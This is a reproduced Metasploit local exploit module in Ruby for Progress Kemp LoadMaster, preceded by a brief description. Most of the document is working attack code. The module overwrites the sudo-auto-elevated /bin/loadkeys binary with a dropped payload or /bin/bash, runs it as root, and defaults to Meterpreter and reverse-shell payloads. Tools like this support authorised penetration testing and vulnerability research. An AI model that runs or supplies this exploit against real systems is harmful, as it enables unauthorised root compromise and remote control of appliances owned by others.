Authored by bwatters-r7, Dave Yesland | Site metasploit.com

This Metasploit module abuses a feature of the sudo command on Progress Kemp LoadMaster. Certain binary files are allowed to automatically elevate with the sudo command. This is based off of the file name. Some files have this permission are not write-protected from the default bal user. As such, if the file is overwritten with an arbitrary file, it will still auto-elevate. This module overwrites the /bin/loadkeys file with another executable.

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kemp LoadMaster Local sudo privilege escalation',
'Description' => %q{
This module abuses a feature of the sudo command on Progress Kemp
LoadMaster. Certain binary files are allowed to automatically elevate
with the sudo command. This is based off of the file name. Some files
have this permission are not write-protected from the default 'bal' user.
As such, if the file is overwritten with an arbitrary file, it will still
auto-elevate. This module overwrites the /bin/loadkeys file with another
executable.
},
'Author' => [
'Dave Yesland with Rhino Security Labs',
'bwatters-r7' # module,
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],
['URL', 'https://kemptechnologies.com/kemp-load-balancers']
],
'DisclosureDate' => '2024-03-19',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [ REPEATABLE_SESSION ]
},
'SessionTypes' => ['shell', 'meterpreter'],
'Platform' => ['unix', 'linux'],
'Targets' => [
[
'Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
}
}
],
[
'Command',
{
'Arch' => [ARCH_CMD],
'Type' => :command,
'Payload' =>
{
'BadChars' => "x27",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic gawk telnet ssh echo'
}
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse'
}
}
]
],
'Privileged' => true
)
)
register_options([
OptString.new('TARGET_BINARY', [true, 'The path for a binary file that has permission to auto-elevate.', '/bin/loadkeys']),
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ])
])
end

def check
score = 0
score += 1 if read_file('/usr/wui/index.js').include?('KEMP')
score += 1 if read_file('/etc/motd').include?('Kemp LoadMaster')
score += 1 if exists?('/usr/wui/eula.kemp.html')
vprint_status("Found #{score} indicators this is a KEMP product")
return CheckCode::Detected if score > 0

return CheckCode::Safe
end

def verify_copy(src, dest, elevate)
orig_file_hash = file_remote_digestmd5(src)
vprint_status("Moving #{src} to #{dest}")
if elevate
output = cmd_exec("sudo /bin/cp '#{src}' '#{dest}'")
else
output = cmd_exec("/bin/cp '#{src}' '#{dest}'")
end
return true if file_remote_digestmd5(dest) == orig_file_hash

print_bad("Copy failed - #{output}")
false
end

def execute_dropper(target_binary, binary_rename, temp_payload_path)
vprint_status("Writing payload to #{temp_payload_path}")
write_file(temp_payload_path, generate_payload_exe)
chmod(temp_payload_path)
register_file_for_cleanup(temp_payload_path)
return unless verify_copy(target_binary, binary_rename, false)
return unless verify_copy(temp_payload_path, target_binary, true)

vprint_status("Running #{target_binary}")
cmd_exec("sudo '#{target_binary}'")
end

def execute_command(target_binary, binary_rename, cmd)
vprint_status('Preparing payload command')
# save copy of target_binary
return unless verify_copy(target_binary, binary_rename, false)
return unless verify_copy('/bin/bash', target_binary, true)

vprint_status('Running payload command')
vprint_status(cmd_exec("sudo #{target_binary} -c '#{cmd}'"))
end

def exploit
writable_dir = datastore['WRITABLE_DIR']
if writable_dir.blank? || (writable_dir[-1] != '/')
writable_dir += '/'
end
fail_with(Failure::BadConfig, "Invalid WRITABLE_DIR: #{writable_dir}") unless directory?(writable_dir)
target_binary = datastore['TARGET_BINARY']
binary_rename = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"
target_binary_hash = file_remote_digestmd5(target_binary)
begin
case target['Type']
when :dropper
temp_payload = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"
execute_dropper(target_binary, binary_rename, temp_payload)
when :command
execute_command(target_binary, binary_rename, payload.encoded)
end
ensure
unless target_binary_hash == file_remote_digestmd5(target_binary)
cmd_exec("sudo rm '#{target_binary}'")
verify_copy(binary_rename, target_binary, true)
cmd_exec("sudo rm '#{binary_rename}'")
end
end
if target_binary_hash == file_remote_digestmd5(target_binary)
print_good("#{target_binary} returned to original contents")
else
print_bad("#{target_binary} was not returned to original contents")
end
end
end